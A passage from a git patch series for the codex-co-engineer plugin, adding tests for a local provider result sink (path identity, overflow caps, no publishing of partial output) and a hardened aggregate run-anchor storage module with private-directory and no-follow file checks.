LOCAL_PROVIDER_RESULT_SINK_FAILURE_PATH_ALLOWLIST, LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_KEYS, LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_MAX_BYTES, LOCAL_PROVIDER_RESULT_SINK_OPTION_KEYS, @@ -25,13 +30,14 @@ import { collectCliProviderOutputV1, createLocalProviderResultCollectorV1, localProviderResultIdentityFromTaskV1, + localProviderResultReportPathV1, openLocalProviderArtifactStoreV1, sinkLocalProviderResultV1, } from '../mcp/v3/local-provider-result-sink.mjs'; import { ARTIFACT_SANITIZER_VERSION } from '../mcp/v3/artifact-sanitizer.mjs'; -import { runAcpTask, runCliFallback } from '../mcp/v3/acp-worker.mjs'; +import { attachLocalProviderResultSink, runAcpTask, runCliFallback } from '../mcp/v3/acp-worker.mjs'; import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; -import { createTask, readTask } from '../mcp/v3/task-store.mjs'; +import { createTask, readTask, updateTask } from '../mcp/v3/task-store.mjs'; import { CHILD_B, CURSOR_MODEL, @@ -127,6 +133,10 @@ test('the closed sink vocabulary and caps are exported frozen', () => { assert.deepEqual([...LOCAL_PROVIDER_RESULT_SINK_PROVIDERS], ['grok', 'cursor-local', 'dsh']); assert.ok(LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS.includes('inline_tail')); assert.ok(LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES.includes('local_provider_required')); + assert.ok(LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES.includes('artifact_sink_not_published')); + assert.ok(LOCAL_PROVIDER_RESULT_SINK_FAILURE_CODE_ALLOWLIST.includes('artifact_content_conflict')); + assert.ok(LOCAL_PROVIDER_RESULT_SINK_FAILURE_PATH_ALLOWLIST.includes('sink')); + assert.equal(LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE.includes('secret'), false); }); test('the sink module uses P09/P10/P08 authorities and does not import protected seams', () => { @@ -156,6 +166,8 @@ test('Grok Cursor and DSH strings JSON values and stream chunks publish under ex assert.equal(grok.raw_ref.artifact_class, 'raw'); assert.equal(grok.sanitized_ref.artifact_class, 'sanitized'); assert.equal(grok.raw_ref.relative_path, grok.sanitized_ref.relative_path); + assert.equal(grok.relative_path, localProviderResultReportPathV1(identityFor('grok'))); + assert.equal(isArtifactRelativePathV1(grok.relative_path), true); assert.equal(grok.complete, true); assert.equal(grok.source_truncated, false); assert.equal(grok.inline_tail.inline_clipped, false); @@ -271,6 +283,92 @@ test('collector retains older chunks until the raw class cap', () => { assert.equal(snapshot.source.toString('utf8'), 'older-output-later-verdict'); }); +test('collector overflow at the raw class cap never silently claims complete bytes', () => { + const collector = createLocalProviderResultCollectorV1(); + collector.append(Buffer.alloc(MAX_RAW_ARTIFACT_BYTE_LENGTH, 0x61)); + assert.equal(collector.snapshot().overflow, false); + collector.append(Buffer.from([0x62])); + const snapshot = collector.snapshot(); + assert.equal(snapshot.overflow, true); + assert.equal(snapshot.byte_length, MAX_RAW_ARTIFACT_BYTE_LENGTH); + assert.equal(snapshot.source.byteLength, MAX_RAW_ARTIFACT_BYTE_LENGTH); +}); + +test('Grok vs Cursor Local model and digest identities never share a path or ref', async () => { + await withStore(async (store) => { + const source = grokText('VERDICT: ALIAS PASS'); + const grok = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source, + }); + const cursor = await sinkLocalProviderResultV1(store, { + ...identityFor('cursor-local'), + source, + }); + assert.equal(isArtifactRelativePathV1(grok.relative_path), true); + assert.equal(isArtifactRelativePathV1(cursor.relative_path), true); + assert.notEqual(grok.relative_path, cursor.relative_path); + assert.equal(grok.raw_ref.sha256, cursor.raw_ref.sha256); + assert.notEqual(grok.raw_ref.relative_path, cursor.raw_ref.relative_path); + assert.notEqual(JSON.stringify(grok.raw_ref), JSON.stringify(cursor.raw_ref)); + assert.match(grok.relative_path, /\/grok\//u); + assert.match(cursor.relative_path, /\/cursor-local\//u); + assert.equal(grok.relative_path.includes(':'), false); + assert.equal(cursor.relative_path.includes(':'), false); + + const otherModel = await sinkLocalProviderResultV1(store, { + ...identityFor('grok', { model: 'grok-4' }), + source: grokText('VERDICT: MODEL PASS'), + }); + assert.notEqual(otherModel.relative_path, grok.relative_path); + assert.match(otherModel.relative_path, /\/grok\//u); + + const digestA = 'a'.repeat(64); + const digestB = 'b'.repeat(64); + const withA = await sinkLocalProviderResultV1(store, { + ...identityFor('grok', { assignment_id: CHILD_B, child_envelope_digest: digestA }), + source: grokText('VERDICT: DIGEST A'), + }); + const withB = await sinkLocalProviderResultV1(store, { + ...identityFor('grok', { assignment_id: CHILD_B, child_envelope_digest: digestB }), + source: grokText('VERDICT: DIGEST B'), + }); + const without = await sinkLocalProviderResultV1(store, { + ...identityFor('grok', { assignment_id: CHILD_B }), + source: grokText('VERDICT: DIGEST NONE'), + }); + assert.notEqual(withA.relative_path, withB.relative_path); + assert.notEqual(withA.relative_path, without.relative_path); + assert.notEqual(withB.relative_path, without.relative_path); + assert.equal(withA.child_envelope_digest, digestA); + assert.equal(withB.child_envelope_digest, digestB); + assert.equal(without.child_envelope_digest, null); + + const slashModel = 'org/model:tag'; + const encoded = await sinkLocalProviderResultV1(store, { + ...identityFor('dsh', { assignment_id: 'lane-delta', model: slashModel }), + source: 'slash-colon-model', + }); + assert.equal(isArtifactRelativePathV1(encoded.relative_path), true); + assert.equal(encoded.relative_path.includes(':'), false); + assert.equal(encoded.relative_path.includes('org/model'), false); + assert.equal(encoded.model, slashModel); + assert.equal( + encoded.relative_path, + localProviderResultReportPathV1(identityFor('dsh', { assignment_id: 'lane-delta', model: slashModel })), + ); + + const restart = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source, + }); + assert.equal(restart.relative_path, grok.relative_path); + assert.equal(restart.raw_digest, grok.raw_digest); + assert.equal(restart.sanitized_digest, grok.sanitized_digest); + assert.equal(JSON.stringify(restart.raw_ref), JSON.stringify(grok.raw_ref)); + }); +}); + test('legacy tasks without run identity do not bind a sink envelope', () => { assert.equal(localProviderResultIdentityFromTaskV1({ id: 'task-1', @@ -416,6 +514,123 @@ test('legacy ACP completion without run identity keeps 3.2.1 result shape', asyn assert.equal(terminal.provider_result_sink, undefined); }); +test('failed Grok ACP turn never publishes accumulated output as complete', async () => { + const value = await workerFixture({ + provider: 'grok', + id: 'grok-p11-failed', + run_id: RUN_ID, + assignment_id: 'lane-alpha', + model: GROK_MODEL, + prompt: 'provider-failure', + }); + const terminal = await runAcpTask({ root: value.root, taskId: value.taskId }); + assert.equal(terminal.status, 'failed'); + assert.equal(terminal.prompt_dispatched, true); + assert.equal(terminal.fallback_safe, false); + assert.ok(terminal.error); + assert.equal(terminal.provider_result_sink.published, false); + assert.equal(terminal.provider_result_sink.error.code, 'artifact_sink_not_published'); + assert.equal(terminal.provider_result_sink.error.message, LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE); + assert.deepEqual(Object.keys(terminal.provider_result_sink), [...LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS]); + assert.equal(Object.hasOwn(terminal.provider_result_sink, 'complete'), false); + assert.equal(Object.hasOwn(terminal.provider_result_sink, 'empty'), false); + assert.equal(Object.hasOwn(terminal.provider_result_sink, 'raw_ref'), false); +}); + +test('non-success terminals preserve 3.2.1 result fields and never sink partial text', async () => { + const value = await workerFixture({ + provider: 'cursor-local', + id: 'cursor-p11-partial-fail', + run_id: RUN_ID, + assignment_id: 'lane-beta', + model: CURSOR_MODEL, + }); + const partial = 'PARTIAL TEXT THAT MUST NOT BE COMPLETE'; + const failed = await updateTask(value.root, value.taskId, { + status: 'failed', + result: partial, + result_truncated: false, + error: { code: 'failed', message: 'provider failed' }, + finished_at: new Date().toISOString(), + }); + const attached = await attachLocalProviderResultSink(value.root, failed, partial, false); + assert.equal(attached.status, 'failed'); + assert.equal(attached.result, partial); + assert.equal(attached.result_truncated, false); + assert.equal(attached.error.code, 'failed'); + assert.equal(attached.provider_result_sink.published, false); + assert.equal(attached.provider_result_sink.error.code, 'artifact_sink_not_published'); + assert.equal(JSON.stringify(attached.provider_result_sink).includes(partial), false); + + const cancelledValue = await workerFixture({ + provider: 'grok', + id: 'grok-p11-partial-cancel', + run_id: RUN_ID, + assignment_id: 'lane-alpha', + model: GROK_MODEL, + }); + const cancelled = await updateTask(cancelledValue.root, cancelledValue.taskId, { + status: 'cancelled', + result: partial, + result_truncated: true, + finished_at: new Date().toISOString(), + }); + const cancelledAttached = await attachLocalProviderResultSink( + cancelledValue.root, cancelled, partial, false, + ); + assert.equal(cancelledAttached.status, 'cancelled'); + assert.equal(cancelledAttached.result, partial); + assert.equal(cancelledAttached.result_truncated, true); + assert.equal(cancelledAttached.provider_result_sink.published, false); + assert.equal(cancelledAttached.provider_result_sink.error.code, 'artifact_sink_not_published'); +}); + +test('ACP collector overflow stays inside attach and does not rewrite a completed terminal', async () => { + const value = await workerFixture({ + provider: 'grok', + id: 'grok-p11-overflow', + run_id: RUN_ID, + assignment_id: 'lane-alpha', + model: GROK_MODEL, + }); + const completed = await updateTask(value.root, value.taskId, { + status: 'completed', + result: 'legacy bounded result', + result_truncated: true, + result_original_chars: 100, + finished_at: new Date().toISOString(), + }); + const attached = await attachLocalProviderResultSink( + value.root, completed, Buffer.alloc(16, 0x61), false, true, + ); + assert.equal(attached.status, 'completed'); + assert.equal(attached.result, 'legacy bounded result'); + assert.equal(attached.result_truncated, true); + assert.equal(attached.result_original_chars, 100); + assert.equal(attached.provider_result_sink.published, false); + assert.equal(attached.provider_result_sink.error.code, 'artifact_stream_over_cap'); + assert.equal(attached.provider_result_sink.error.path, 'source'); + assert.equal(attached.provider_result_sink.error.message, LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE); + assert.equal(Object.hasOwn(attached.provider_result_sink, 'complete'), false); +}); + +test('legacy ACP overflow without sink identity keeps 3.2.1 result and skips the sink', async () => { + const value = await workerFixture({ id: 'legacy-overflow' }); + const completed = await updateTask(value.root, value.taskId, { + status: 'completed', + result: 'legacy complete without sink', + result_truncated: false, + finished_at: new Date().toISOString(), + }); + const attached = await attachLocalProviderResultSink( + value.root, completed, Buffer.alloc(16, 0x61), false, true, + ); + assert.equal(attached.status, 'completed'); + assert.equal(attached.result, 'legacy complete without sink'); + assert.equal(attached.result_truncated, false); + assert.equal(attached.provider_result_sink, undefined); +}); + test('sanitized oversize fails closed without reporting an artifact', async () => { await withStore(async (store, root) => { const over = Buffer.alloc(MAX_SANITIZED_ARTIFACT_BYTE_LENGTH + 1, 0x61); From 67d84e22cb2c7e98ee1d71503f87c2440dafc37c Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 00:20:32 +0000 Subject: [PATCH 037/151] feat(identity): ratify aggregate pre-dispatch run-anchor labels Add closed IDENTITY_LABELS entries for the reconstructed R24A aggregate pre-dispatch authority: storage-root.v1, aggregate-run-anchor.v1, aggregate-run-coordination.v1, aggregate-submission-idempotency.v1, aggregate-run-claim.v1, aggregate-selection-reply.v1, and aggregate-resolved-plan.v1. The registry remains frozen and closed at load; there is no runtime registration and no digest helper in this module. Existing digest bytes stay unchanged. --- plugins/codex-co-engineer/mcp/v3/identity.mjs | 7 +++++++ .../test/v3-identity-digest-authority.test.mjs | 7 +++++++ 2 files changed, 14 insertions(+) diff --git a/plugins/codex-co-engineer/mcp/v3/identity.mjs b/plugins/codex-co-engineer/mcp/v3/identity.mjs index 73f2b3a..fe74290 100644 --- a/plugins/codex-co-engineer/mcp/v3/identity.mjs +++ b/plugins/codex-co-engineer/mcp/v3/identity.mjs @@ -130,6 +130,13 @@ export const IDENTITY_LABELS = capturedFreeze(OBJECT_ASSIGN(capturedCreate(null) VERIFICATION_EXECUTABLE_CLOSURE: 'verification-executable-closure.v1', VERIFICATION_COMMAND_PLAN: 'verification-command-plan.v1', VERIFICATION_EXECUTION_RECEIPT: 'verification-execution-receipt.v1', + STORAGE_ROOT: 'storage-root.v1', + AGGREGATE_RUN_ANCHOR: 'aggregate-run-anchor.v1', + AGGREGATE_RUN_COORDINATION: 'aggregate-run-coordination.v1', + AGGREGATE_SUBMISSION_IDEMPOTENCY: 'aggregate-submission-idempotency.v1', + AGGREGATE_RUN_CLAIM: 'aggregate-run-claim.v1', + AGGREGATE_SELECTION_REPLY: 'aggregate-selection-reply.v1', + AGGREGATE_RESOLVED_PLAN: 'aggregate-resolved-plan.v1', })); export const MAX_IDENTITY_DIGEST_PARTS = 16; diff --git a/plugins/codex-co-engineer/test/v3-identity-digest-authority.test.mjs b/plugins/codex-co-engineer/test/v3-identity-digest-authority.test.mjs index 772cd70..fb8394a 100644 --- a/plugins/codex-co-engineer/test/v3-identity-digest-authority.test.mjs +++ b/plugins/codex-co-engineer/test/v3-identity-digest-authority.test.mjs @@ -141,6 +141,13 @@ test('the registry is closed, frozen, and exactly the ratified label set', () => VERIFICATION_EXECUTABLE_CLOSURE: 'verification-executable-closure.v1', VERIFICATION_COMMAND_PLAN: 'verification-command-plan.v1', VERIFICATION_EXECUTION_RECEIPT: 'verification-execution-receipt.v1', + STORAGE_ROOT: 'storage-root.v1', + AGGREGATE_RUN_ANCHOR: 'aggregate-run-anchor.v1', + AGGREGATE_RUN_COORDINATION: 'aggregate-run-coordination.v1', + AGGREGATE_SUBMISSION_IDEMPOTENCY: 'aggregate-submission-idempotency.v1', + AGGREGATE_RUN_CLAIM: 'aggregate-run-claim.v1', + AGGREGATE_SELECTION_REPLY: 'aggregate-selection-reply.v1', + AGGREGATE_RESOLVED_PLAN: 'aggregate-resolved-plan.v1', }); const values = Object.values(IDENTITY_LABELS); assert.equal(new Set(values).size, values.length, 'registry labels must be unique'); From ae602984f6af4b30ccee51d318c7f70097fd9866 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 00:23:18 +0000 Subject: [PATCH 038/151] feat(run): add marked aggregate root with durable claims Add aggregate-run-anchor.mjs as a separate library authority from accepted P24/P25. initializeAggregateRunAnchorRoot publishes an atomic owner-only storage-root.v1 marker of kind aggregate_run_anchor plus a nonce, and only onto an existing private completely empty root. Open rejects unmarked empty roots and nonempty P24, P25, or foreign layouts. Every operation reverifies root, marker, claims, and runs identities through no-follow dev/ino checks. claims/.json is published exclusively before runs/ is adopted. A claim binds run id, anchor digest, submission key, marker nonce/digest, and its own nonce/digest. Namespace lock then per-run lock. An empty directory without the exact claim is never adopted; the exact claim recovers the same identity; a mismatch conflicts; and losers never remove winner paths. Submit remains identity-only. --- .../mcp/v3/aggregate-run-anchor.mjs | 1733 +++++++++++++++++ 1 file changed, 1733 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/aggregate-run-anchor.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/aggregate-run-anchor.mjs b/plugins/codex-co-engineer/mcp/v3/aggregate-run-anchor.mjs new file mode 100644 index 0000000..4e77c9b --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/aggregate-run-anchor.mjs @@ -0,0 +1,1733 @@ +// Aggregate pre-dispatch run anchor (R24A). +// +// Additive v3 module. It persists one immutable AggregateRunAnchorV1 plus +// absorbing coordination state for runs whose P05 provider/model selection is +// still unresolved. The caller supplies a private root distinct from accepted +// P24/P25. Open requires an explicit storage-root.v1 marker of kind +// aggregate_run_anchor; unmarked empty roots are typed uninitialized and +// nonempty P24/P25/foreign roots fail closed. Root-level claims/.json +// bind identity before runs/ is adopted. High-level mutations publish +// full canonical records before coordination references. There is no public +// raw-digest CAS, journal, reducer, scheduler, provider, workspace, server, +// or MCP wiring, and no migration of P24/P25. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { randomBytes, timingSafeEqual } from 'node:crypto'; +import { constants as fsConstants } from 'node:fs'; +import { link, mkdir, open, opendir, rename, unlink } from 'node:fs/promises'; +import path from 'node:path'; + +import { + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedTest, + sortedCapturedKeys, +} from './grammar.mjs'; +import { IDENTITY_LABELS, canonicalJsonStringify } from './identity.mjs'; +import { + assertBoundDigest, + assertHexDigest, + assertSharedGitIdentityV1, + closedObject, + fail, + snapshotRecord, + validateGitIdentityV1, + validateRunIdentityV1, +} from './protected-identity.mjs'; +import { + selectionRequestIdentity, + validateSelectionRequestV1, +} from './resolver.mjs'; +import { RunContractV1Error, assertRunId, utf8ByteLength } from './run-manifest.mjs'; +import { + REQUEST_ID_PATTERN, + SHA256_DIGEST_PATTERN, + assertDirectJsonClosure, + freezeData, + identityBoundDigest, +} from './selection-json.mjs'; + +export const STORAGE_ROOT_SCHEMA_ID = 'codex-co-engineer.storage-root.v1'; +export const AGGREGATE_RUN_ANCHOR_SCHEMA_ID = 'codex-co-engineer.aggregate-run-anchor.v1'; +export const AGGREGATE_RUN_COORDINATION_SCHEMA_ID = 'codex-co-engineer.aggregate-run-coordination.v1'; +export const AGGREGATE_RUN_CLAIM_SCHEMA_ID = 'codex-co-engineer.aggregate-run-claim.v1'; +export const AGGREGATE_RUN_STAMP_SCHEMA_ID = 'codex-co-engineer.aggregate-run-created.v1'; +export const AGGREGATE_RUN_LOCK_SCHEMA_ID = 'codex-co-engineer.aggregate-run-lock.v1'; +export const AGGREGATE_NAMESPACE_LOCK_SCHEMA_ID = 'codex-co-engineer.aggregate-namespace-lock.v1'; +export const AGGREGATE_SUBMISSION_SCHEMA_ID = 'codex-co-engineer.aggregate-run-submission.v1'; +export const AGGREGATE_SELECTION_REPLY_SCHEMA_ID = 'codex-co-engineer.selection-reply.v1'; +export const AGGREGATE_RESOLVED_PLAN_SCHEMA_ID = 'codex-co-engineer.resolved-plan.v1'; +export const AGGREGATE_STORAGE_ROOT_KIND = 'aggregate_run_anchor'; + +export const AGGREGATE_RUN_PHASES = capturedFreeze([ + 'submitted', 'awaiting_selection', 'resolution_ready', +]); +export const AGGREGATE_RUN_ANCHOR_KEYS = capturedFreeze([ + 'schema', 'run_id', 'identity', 'git', 'manifest_digest', + 'submission_idempotency_key', 'canonical_digest', +]); +export const AGGREGATE_RUN_ANCHOR_INPUT_KEYS = capturedFreeze([ + 'run_id', 'identity', 'git', 'manifest_digest', +]); +export const AGGREGATE_RUN_COORDINATION_KEYS = capturedFreeze([ + 'schema', 'run_id', 'anchor_digest', 'revision', 'phase', + 'selection_request_binding', 'selection_reply_digest', 'resolved_plan_digest', + 'state_digest', +]); +export const AGGREGATE_SELECTION_BINDING_KEYS = capturedFreeze([ + 'run_id', 'request_id', 'digest', 'record_digest', +]); +export const AGGREGATE_REQUEST_IDENTITY_KEYS = capturedFreeze([ + 'digest', 'request_id', 'run_id', +]); +export const AGGREGATE_SUBMISSION_KEYS = capturedFreeze([ + 'schema', 'run_id', 'git_digest', 'repository_path', 'base_sha', 'manifest_digest', +]); +export const AGGREGATE_CLAIM_KEYS = capturedFreeze([ + 'schema', 'run_id', 'anchor_digest', 'submission_idempotency_key', + 'root_marker_nonce', 'root_marker_digest', 'nonce', 'canonical_digest', +]); +export const AGGREGATE_MARKER_KEYS = capturedFreeze([ + 'schema', 'kind', 'nonce', 'canonical_digest', +]); +export const AGGREGATE_SELECTION_REPLY_INPUT_KEYS = capturedFreeze([ + 'schema', 'run_id', 'request_id', 'answers', +]); +export const AGGREGATE_SELECTION_REPLY_KEYS = capturedFreeze([ + 'schema', 'run_id', 'request_id', 'answers', 'canonical_digest', +]); +export const AGGREGATE_RESOLVED_PLAN_INPUT_KEYS = capturedFreeze([ + 'schema', 'run_id', 'complete', +]); +export const AGGREGATE_RESOLVED_PLAN_KEYS = capturedFreeze([ + 'schema', 'run_id', 'complete', 'canonical_digest', +]); +export const AGGREGATE_COMMIT_REQUEST_KEYS = capturedFreeze([ + 'run_id', 'expected_revision', 'request_identity', 'record', +]); +export const AGGREGATE_COMMIT_RESOLUTION_KEYS = capturedFreeze([ + 'run_id', 'expected_revision', 'request_identity', 'reply_record', + 'resolved_plan_record', +]); +export const AGGREGATE_COMMIT_PLAN_KEYS = capturedFreeze([ + 'run_id', 'expected_revision', 'resolved_plan_record', +]); +export const SELECTION_ANSWER_KEYS = capturedFreeze(['assignment_id', 'model', 'provider']); + +export const MAX_AGGREGATE_RUNS = 64; +export const MAX_AGGREGATE_RUN_DIRECTORY_ENTRIES = 16; +export const MAX_AGGREGATE_ROOT_ENTRIES = 8; +export const MAX_AGGREGATE_CLAIMS_DIRECTORY_ENTRIES = MAX_AGGREGATE_RUNS + 4; +export const MAX_AGGREGATE_RUNS_DIRECTORY_ENTRIES = MAX_AGGREGATE_RUNS + 4; +export const MAX_AGGREGATE_ANCHOR_BYTES = 64 * 1024; +export const MAX_AGGREGATE_COORDINATION_BYTES = 16 * 1024; +export const MAX_AGGREGATE_CLAIM_BYTES = 4 * 1024; +export const MAX_AGGREGATE_MARKER_BYTES = 512; +export const MAX_AGGREGATE_STAMP_BYTES = 256; +export const MAX_AGGREGATE_LOCK_BYTES = 160; +export const MAX_AGGREGATE_RECORD_BYTES = 16 * 1024; +export const MAX_AGGREGATE_TEMPORARIES = 8; +export const MAX_AGGREGATE_FILENAME_BYTES = 80; +export const MAX_AGGREGATE_DIAGNOSTIC_BYTES = 160; +export const AGGREGATE_LOCK_WAIT_MS = 8_000; +export const AGGREGATE_LOCK_POLL_MS = 10; +export const AGGREGATE_LOCK_MAX_AGE_MS = 30_000; +export const MAX_AGGREGATE_LOCK_STEALS = 4; + +const MARKER_NAME = 'storage-root.v1'; +const CLAIMS_NAME = 'claims'; +const RUNS_NAME = 'runs'; +const LOCK_NAME = 'lock'; +const ANCHOR_NAME = 'anchor.json'; +const COORDINATION_NAME = 'coordination.json'; +const STAMP_NAME = 'created.json'; +const REQUEST_RECORD_NAME = 'selection-request.record.json'; +const REPLY_RECORD_NAME = 'selection-reply.record.json'; +const PLAN_RECORD_NAME = 'resolved-plan.record.json'; +const TEMP_NAME_PATTERN = /^\.tmp-[0-9a-f]{32}$/u; +const LOCK_OWNER_NAME_PATTERN = /^\.lock-[0-9a-f]{32}$/u; +const P24_RECORD_NAME_PATTERN = /^[a-z][a-z0-9-]{2,63}\.json$/u; +const P24_KEY_NAME_PATTERN = /^k-[0-9a-f]{64}$/u; +const NONCE_PATTERN = /^[0-9a-f]{32}$/u; +const TEXT_DECODER = new TextDecoder('utf-8', { fatal: true }); +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const TIMING_SAFE_EQUAL = timingSafeEqual; +const RANDOM_BYTES = randomBytes; +const JSON_PARSE = JSON.parse; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const STRING = String; + +const ROOT_OPEN_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_DIRECTORY ?? 0) + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_READ_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_CREATE_FLAGS = fsConstants.O_WRONLY + | fsConstants.O_CREAT + | fsConstants.O_EXCL + | (fsConstants.O_NOFOLLOW ?? 0); + +const ROOT_CHAINS = new Map(); + +function diagnostic(value) { + const text = STRING(value ?? ''); + return text.length <= MAX_AGGREGATE_DIAGNOSTIC_BYTES + ? text + : text.slice(0, MAX_AGGREGATE_DIAGNOSTIC_BYTES); +} + +function failAnchor(code, field, message) { + fail(code, field, diagnostic(message)); +} + +function mapErrno(error, field, fallback, fallbackMessage) { + if (error instanceof RunContractV1Error) throw error; + const errno = error?.code; + if (errno === 'ENOENT') { + failAnchor('aggregate_run_root_missing', field, 'The aggregate run path does not exist.'); + } + if (errno === 'ELOOP' || errno === 'ENOTDIR') { + failAnchor('aggregate_run_root_unsafe', field, 'The aggregate run path is not a real directory.'); + } + if (errno === 'EEXIST' || errno === 'ENOTEMPTY') { + failAnchor('aggregate_run_identity_conflict', field, fallbackMessage); + } + failAnchor(fallback, field, fallbackMessage); +} + +function assertSafeRootPath(value) { + if (typeof value !== 'string' || value.length === 0) { + failAnchor('aggregate_run_root_unsafe', 'root', + 'Aggregate run root must be an absolute directory path.'); + } + if (!path.isAbsolute(value) || value.includes('\0') || value.includes('\\')) { + failAnchor('aggregate_run_path_unsafe', 'root', + 'Aggregate run root must be an absolute, NUL-free path.'); + } + if (value !== '/' && value.endsWith('/')) { + failAnchor('aggregate_run_path_unsafe', 'root', + 'Aggregate run root must not end with a trailing slash.'); + } + if (path.normalize(value) !== value) { + failAnchor('aggregate_run_path_unsafe', 'root', + 'Aggregate run root must be a normalized absolute path.'); + } + for (const part of value.split('/')) { + if (part === '.' || part === '..') { + failAnchor('aggregate_run_path_unsafe', 'root', + 'Aggregate run root must not contain "." or ".." segments.'); + } + } + return value; +} + +function assertSafeChildName(name, field) { + if (typeof name !== 'string' || name.length === 0 || name === '.' || name === '..') { + failAnchor('aggregate_run_foreign_entry', field, 'Aggregate run directory entry is not an allowed name.'); + } + if (name.includes('/') || name.includes('\\') || name.includes('\0') || path.basename(name) !== name) { + failAnchor('aggregate_run_path_unsafe', field, 'Aggregate run names must be single path components.'); + } + if (utf8ByteLength(name) > MAX_AGGREGATE_FILENAME_BYTES) { + failAnchor('aggregate_run_foreign_entry', field, 'Aggregate run filename exceeds the bounded length.'); + } + return name; +} + +function childPath(rootPath, name) { + const safe = assertSafeChildName(name, 'name'); + const joined = path.join(rootPath, safe); + if (path.dirname(joined) !== rootPath || path.basename(joined) !== safe) { + failAnchor('aggregate_run_path_unsafe', 'name', 'Aggregate run child path escaped the private root.'); + } + return joined; +} + +function ownerUid() { + return typeof process.geteuid === 'function' ? process.geteuid() : undefined; +} + +function sameIdentity(left, right) { + return Number(left.dev) === Number(right.dev) && Number(left.ino) === Number(right.ino); +} + +function assertPrivateDirectory(stat, field, label) { + if (stat.isSymbolicLink() || !stat.isDirectory()) { + failAnchor('aggregate_run_root_unsafe', field, `The aggregate run ${label} must be a real directory.`); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failAnchor('aggregate_run_root_unsafe', field, `The aggregate run ${label} must be owned by the current user.`); + } + if ((Number(stat.mode) & 0o077) !== 0) { + failAnchor('aggregate_run_root_unsafe', field, + `The aggregate run ${label} must be private (no group or other access).`); + } +} + +function assertRegularUnsharedFile(stat, field) { + if (stat.isSymbolicLink() || !stat.isFile()) { + failAnchor('aggregate_run_not_regular', field, 'Aggregate run files must be regular non-symlink files.'); + } + if (!NUMBER_IS_SAFE_INTEGER(stat.nlink) || stat.nlink !== 1) { + failAnchor('aggregate_run_not_regular', field, 'Aggregate run files must not be hardlinked.'); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failAnchor('aggregate_run_root_unsafe', field, 'Aggregate run files must be owned by the current user.'); + } + if ((Number(stat.mode) & 0o077) !== 0) { + failAnchor('aggregate_run_root_unsafe', field, 'Aggregate run files must be owner-only.'); + } +} + +function swapCodeFor(label) { + if (label === 'root') return 'aggregate_run_root_swapped'; + if (label === 'marker') return 'aggregate_run_marker_swapped'; + if (label === 'claims') return 'aggregate_run_claims_swapped'; + if (label === 'runs') return 'aggregate_run_runs_swapped'; + if (label === 'directory' || label === 'run') return 'aggregate_run_dir_swapped'; + if (label === 'claim') return 'aggregate_run_claim_swapped'; + return 'aggregate_run_root_swapped'; +} + +async function openDirectoryHandle(dirPath, field) { + let handle; + try { + handle = await open(dirPath, ROOT_OPEN_FLAGS); + } catch (error) { + mapErrno(error, field, 'aggregate_run_root_unsafe', + 'The aggregate run directory could not be opened without following links.'); + } + try { + const stat = await handle.stat(); + assertPrivateDirectory(stat, field, field === 'root' ? 'root' : 'directory'); + return { handle, path: dirPath, dev: stat.dev, ino: stat.ino, mode: stat.mode, uid: stat.uid }; + } catch (error) { + await handle.close().catch(() => {}); + throw error; + } +} + +async function reverifyDirectory(token, label) { + const opened = await reopenDirectory(token, label); + await opened.handle.close().catch(() => {}); +} + +async function reopenDirectory(token, label) { + let opened; + try { + opened = await openDirectoryHandle(token.path, label); + } catch (error) { + if (error instanceof RunContractV1Error + && (error.code === 'aggregate_run_root_missing' || error.code === 'aggregate_run_root_unsafe')) { + failAnchor(swapCodeFor(label), label, `The aggregate run ${label} was replaced during use.`); + } + throw error; + } + try { + if (!sameIdentity(opened, token)) { + failAnchor(swapCodeFor(label), label, `The aggregate run ${label} was replaced during use.`); + } + return opened; + } catch (error) { + await opened.handle.close().catch(() => {}); + throw error; + } +} + +async function syncDirectory(handle) { + try { + await handle.sync(); + } catch (error) { + if (error?.code === 'EINVAL' || error?.code === 'ENOTSUP') return; + failAnchor('aggregate_run_unreadable', 'directory', + 'The aggregate run directory could not be synchronized.'); + } +} + +async function enumerateDirectory(token, maxEntries, field) { + let dir; + try { + dir = await opendir(token.path, { bufferSize: 16 }); + } catch (error) { + mapErrno(error, field, 'aggregate_run_unreadable', + 'The aggregate run directory could not be enumerated.'); + } + const names = []; + try { + let count = 0; + while (true) { + const entry = await dir.read(); + if (entry === null) break; + count += 1; + if (count > maxEntries) { + failAnchor('aggregate_run_flood', field, + `Aggregate run directories must not exceed ${maxEntries} entries.`); + } + if (entry.name === '.' || entry.name === '..') continue; + names.push(assertSafeChildName(entry.name, field)); + } + } finally { + await dir.close().catch(() => {}); + } + return names; +} + +async function readBoundedFile(dirToken, name, maxBytes, field) { + const target = childPath(dirToken.path, name); + let handle; + try { + handle = await open(target, FILE_READ_FLAGS); + } catch (error) { + if (error?.code === 'ENOENT') return null; + if (error?.code === 'ELOOP' || error?.code === 'EISDIR' || error?.code === 'ENOTDIR') { + failAnchor('aggregate_run_not_regular', field, 'Aggregate run files must be regular non-symlink files.'); + } + mapErrno(error, field, 'aggregate_run_unreadable', 